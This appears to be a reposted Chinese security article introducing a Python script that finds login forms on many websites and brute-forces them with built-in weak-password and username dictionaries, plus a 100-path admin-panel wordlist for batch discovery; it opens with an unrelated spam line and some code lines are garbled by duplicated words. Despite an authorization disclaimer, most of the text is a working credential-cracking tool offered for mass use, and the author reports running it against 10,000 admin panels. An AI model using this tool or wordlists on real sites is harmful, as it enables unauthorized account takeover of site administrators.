自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

Web弱口令通用檢測方法探究

作者：Tide重劍無鋒
安全 數(shù)據(jù)安全
目前的各種web口令破解工具大多是針對某個cms進行設(shè)計，或者類似burpsuite需要手工配置，沒有見過能通用的破解工具，因此就有了這個小工具——通用web弱口令破解腳本。

注意：本腳本只是探討通用web口令破解的可行性，所有測試請自行搭建靶機環(huán)境或者在拿到目標(biāo)系統(tǒng)相關(guān)授權(quán)后再進行測試。文中所涉及的技術(shù)、思路和工具僅供以安全為目的的學(xué)習(xí)交流使用，任何人不得將其用于非法用途以及盈利等目的，否則后果自行承擔(dān)!

[[262591]]

工具介紹

通用的web弱口令破解腳本，旨在批量檢測那些沒有驗證碼的管理后臺。

隨著攻防演練和一些漏洞挖掘任務(wù)的增多，有時候需要大批量快速的檢測一些網(wǎng)站后臺安全性，特別是測試一些管理弱口令，這種難度不大但比較費時費力的工作就需要一個自動化的腳本來完成了。但目前的各種web口令破解工具大多是針對某個cms進行設(shè)計，或者類似burpsuite需要手工配置，沒有見過能通用的破解工具。

因此就有了這個小工具——通用web弱口令破解腳本，配合另一個信息搜集工具

https://github.com/TideSec/FuzzScanner 可以進行批量快速刷分。

安裝使用

安裝使用都比較簡單：

從Github上拖下來

  1. git clone https://github.com/TideSec/web_pwd_common_crack 

安裝requirements.txt依賴

  1. pip install -r requirements.txt 

運行腳本即可

  1. python web_pwd_crack.py url.txt 50   --> url.txt為待掃描URL地址列表,50為線程數(shù)，默認為50 

url.txt為待檢測URL地址，可以自己寫個腳本批量從搜索引擎獲取，也可以自己用目錄枚舉工具去搜集。

功能原理

1. 訪問目標(biāo)地址，分析關(guān)鍵字

原理非常low，就是從頁面中提取表單，對表單中的內(nèi)容進行檢索，發(fā)現(xiàn)存在用戶名、密碼、username、pwd、pass之類的字段則認為是登錄頁面，然后提取參數(shù)組成data數(shù)據(jù)，發(fā)送給crack函數(shù)進行破解。

由于現(xiàn)在各種網(wǎng)站的請求包的多樣性，目前沒法做到像wvs那樣能提取到所有的登錄post，只是根據(jù)簡單的關(guān)鍵字進行了提取。

  1. logins =['用戶名','密碼','login','denglu','登錄','user','pass','yonghu','mima','pwd','zhanghao','yonghu','name','email','account'] 

在測試中還發(fā)現(xiàn)有時候搜索框會干擾結(jié)果，所以把搜索框又進行了排除

  1. sous = ['檢索','搜','search','查找','keyword','關(guān)鍵字'] 

另外，目前不支持自動識別驗證碼，所以對驗證碼也進行了排除

  1. yzms = ['驗證碼','點擊更換','點擊刷新','checkcode','valicode','code','captcha'] 

2. 通過解析頁面獲取post地址及參數(shù)

  1. def get_post_get_page(content,url): 
  2.     form_action = str(content).split('\n')[0] 
  3.     # print form_action 
  4.     soup = BS(form_action, "lxml") 
  5.     url_path = '' 
  6.     for x in re.findall(".*?/",url): 
  7.         url_pathurl_path =  url_path+x 
  8.  
  9.     action_url = soup.form['action'] 
  10.     if str(action_url).startswith('http'): 
  11.         path = action_url 
  12.     else: 
  13.         path = url_path+soup.form['action'] 
  14.     method = soup.form['method'] 
  15.     return path,method 

3. 在獲取相關(guān)參數(shù)和path后調(diào)用破解函數(shù)web_crack進行密碼破解

  1. def web_crack(method,path,data): 
  2.     conn =  requests.session() 
  3.     res0 = conn.get(path, headers=requests_headers(), allow_redirects=False,timeout=10,proxies = requests_proxies()) 
  4.     error_length,cookie_error_flag,dynamic_req_len = get_error_length(conn,method,path,data) 
  5.     if dynamic_req_len: 
  6.         return False,False 
  7.  
  8.     num = 0 
  9.     success_flag = 0 
  10.     dic_all = len(USERNAME_DIC)*len(PASSWORD_DIC) 
  11.     for user_name in USERNAME_DIC: 
  12.         for pass_word in PASSWORD_DIC: 
  13.             datadata1 = data 
  14.             # print data1 
  15.             user_nameuser_name = user_name.strip() 
  16.             pass_wordpass_word = pass_word.strip() 
  17.             pass_word = str(pass_word.replace('{user}', user_name)) 
  18.             data2 = str(data1.replace('%7Buser_name%7D', user_name)) 
  19.             data2 = str(data2.replace('%7Bpass_word%7D', pass_word)) 
  20.  
  21.             numnum = num+1 
  22.  
  23.             res = conn.post(url = path,data = data2, headers=requests_headers(), timeout=10,verify=False,allow_redirects=False,proxies = requests_proxies()) 
  24.             cur_length = len(res.content+str(res.headers)) 
  25.  
  26.             if cookie_error_flag:  # cookie_error_flag表示每個數(shù)據(jù)包中都有cookie 
  27.                 if cur_length!=error_length: 
  28.                     success_flag =1 
  29.                     return user_name,pass_word 
  30.             elif 'Set-Cookie' in res.headers and cur_length!=error_length: 
  31.                 success_flag =1 
  32.                 return user_name,pass_word 
  33.     if success_flag == 0: 
  34.         return False,False 

配置了一個比較簡單的字典

  1. USERNAME_DIC = ['admin','guest','test','ceshi','system'] 
  2. PASSWORD_DIC = ['123456','admin','password','123123','123','1','{user}','{user}{user}','{user}1','{user}123','{user}2018','{user}2017','{user}2016','{user}2015','{user}!','P@ssw0rd!!','qwa123','12345678','test','123qwe!@#','123456789','123321','1314520','666666','woaini','000000','1234567890','8888888','qwerty','1qaz2wsx','abc123','abc123456','1q2w3e4r','123qwe','a123456','p@ssw0rd','a123456789','woaini1314','qwerasdf','123456a','123456789a','987654321','qwer!@#$','5201314520', 'q123456', '123456abc', '123123123', '123456.','0123456789', 'asd123456', 'aa123456', 'q123456789', '!QAZ@WSX','12345','1234567','passw0rd','admin888'] 

4. 如何判斷破解成功

目前使用了幾種方式相互結(jié)合的方法來共同驗證。

  • 通過返回包里有沒有Set-Cookie;
  • 返回數(shù)據(jù)包的長度變化;
  • 使用requests.session()進行重驗證;
  • 返回頁面的內(nèi)容匹配。
  • 優(yōu)化準(zhǔn)確度，加入了recheck函數(shù)

在測試時發(fā)現(xiàn)會出現(xiàn)誤報情況，所以對成功的賬戶密碼進行了重驗證。比如：

  • 有些系統(tǒng)在探測多次之后出現(xiàn)封ip之類的情況，這時候會干擾破解腳本的判斷;
  • 有些系統(tǒng)在開始的時候沒有驗證碼，但錯誤幾次后會出現(xiàn)驗證碼;
  • 有些系統(tǒng)的提示信息會出現(xiàn)隨機的變更，導(dǎo)致誤報。

工作界面

掃描過程如下

screenshot

掃描成功的結(jié)果會保持在web_crack_ok.txt文件中

screenshot

掃描中識別到驗證碼、phpmyadmin等所有的日志會保存在web_crack_log.txt文件中，后期可以根據(jù)log日志再進行逐一篩查。

screenshot

其他說明

其實在完成這個工具后，也開始明白為什么市面上沒有通用的破解器，因為成功率的確不高!我測試過10000個管理后臺，破解出來弱口令的大約110個，有沒有漏報不清楚但基本沒有誤報。

成功率不高主要原因有：

  • web頁面類型繁雜，很難準(zhǔn)確獲取并提交正確參數(shù);
  • 很多頁面都有驗證碼，目前這個小腳本還沒法自動識別驗證碼;
  • 為了平衡時間和效率，使用了比較簡單的用戶名和密碼字典，所以稍微復(fù)雜的密碼就破解不出來了。

我一般會使用dirsearch或之類的目錄枚舉工具，配置一個比較輕便的管理后臺目錄字典，對目標(biāo)地址進行批量掃描管理后臺，然后再使用web_pwd_crack.py對這些后臺地址批量進行弱口令破解。

貢獻一個比較精簡的管理后臺字典(100條)

  1. admin/default/login.asp 
  2. admin/login.asp 
  3. admin/manage/login.asp 
  4. admin_login/login.asp 
  5. admincp/login.asp 
  6. administrator/login.asp 
  7. login.asp 
  8. manage/login.asp 
  9. manager/login.asp 
  10. member/login.asp 
  11. admin-login.php 
  12. admin/admin-login.php 
  13. admin/admin_login.php 
  14. admin/login.php 
  15. admin2/login.php 
  16. admin_area/login.php 
  17. admin_login.php 
  18. adminarea/login.php 
  19. admincontrol/login.php 
  20. administrator/login.php 
  21. administratorlogin.php 
  22. adminlogin.php 
  23. autologin.php 
  24. bb-admin/login.php 
  25. blog/wp-login.php 
  26. checklogin.php 
  27. login.php 
  28. modelsearch/login.php 
  29. moderator/login.php 
  30. nsw/admin/login.php 
  31. pages/admin/admin-login.php 
  32. panel-administracion/login.php 
  33. processlogin.php 
  34. rcjakar/admin/login.php 
  35. relogin.php 
  36. siteadmin/login.php 
  37. sqlbuddy/login.php 
  38. userlogin.php 
  39. usuarios/login.php 
  40. webadmin/login.php 
  41. wp-login.php 
  42. account/login.jsp 
  43. accounts/login.jsp 
  44. admin/login.jsp 
  45. auth/login.jsp 
  46. jsp/extension/login.jsp 
  47. login.jsp 
  48. member/login.jsp 
  49. members/login.jsp 
  50. portalAppAdmin/login.jsp 
  51. admin.jsp 
  52. netadmin.jsp 
  53. admin.php 
  54. admin.php3 
  55. admin/admin.php 
  56. admin_area/admin.php 
  57. adminarea/admin.php 
  58. authadmin.php 
  59. bb-admin/admin.php 
  60. checkadmin.php 
  61. cmsadmin.php 
  62. dbadmin.php 
  63. fileadmin.php 
  64. isadmin.php 
  65. linusadmin-phpinfo.php 
  66. memberadmin.php 
  67. moadmin.php 
  68. modelsearch/admin.php 
  69. moderator/admin.php 
  70. panel-administracion/admin.php 
  71. phpliteadmin.php 
  72. siteadmin.php 
  73. sysadmin.php 
  74. tmp/admin.php 
  75. ur-admin.php 
  76. user/admin.php 
  77. users/admin.php 
  78. webadmin.php 
  79. webadmin/admin.php 
  80. wp-content/plugins/akismet/admin.php 
  81. admin.asp 
  82. admin.aspx 
  83. admin/default/admin.asp 
  84. admin/manage/admin.asp 
  85. admin_login/admin.asp 
  86. administrator/admin.asp 
  87. article/admin/admin.asp 
  88. denglu/admin.asp 
  89. guanli/admin.asp 
  90. houtai/admin.asp 
  91. login/admin/admin.asp 
  92. manage/admin.asp 
  93. manager/admin.asp 
  94. member/admin.asp 
  95. admin/logon.jsp 
  96. admin/secure/logon.jsp 
  97. compass/logon.jsp 
  98. logon.jsp 
  99. logon/logon.jsp 

ToDo

  • 驗證碼識別
  • 減少誤報率
  • 優(yōu)化編碼處理
  • 能不那么low

 

責(zé)任編輯：趙寧寧 來源： Freebuf
web口令漏洞腳本
相關(guān)推薦

2014-06-06 10:01:31

2015-11-11 14:08:07

2020-12-25 08:12:40

Web安全網(wǎng)絡(luò)安全

2020-12-14 08:09:03

弱口令工具掃描

2024-09-06 07:27:52

2009-11-23 10:40:47

路由器口令

2013-04-23 14:20:52

Wireshark弱口令

2013-12-15 18:15:57

弱口令烏云漏洞

2019-05-26 14:59:22

2018-04-15 17:57:30

2020-12-28 09:42:25

弱密碼密碼加密

2019-03-07 16:05:59

webJettyTomcat

2020-11-19 08:00:00

Kubernetes工具開發(fā)

2024-04-30 11:06:52

2010-10-11 10:41:57

2009-10-21 16:34:03

Oracle用戶名重建索引

2015-09-21 09:26:15

2016-10-09 10:23:00

2021-09-29 23:43:53

Go OpenLdap檢測工具

2013-04-19 13:20:14

點贊
收藏

51CTO技術(shù)棧公眾號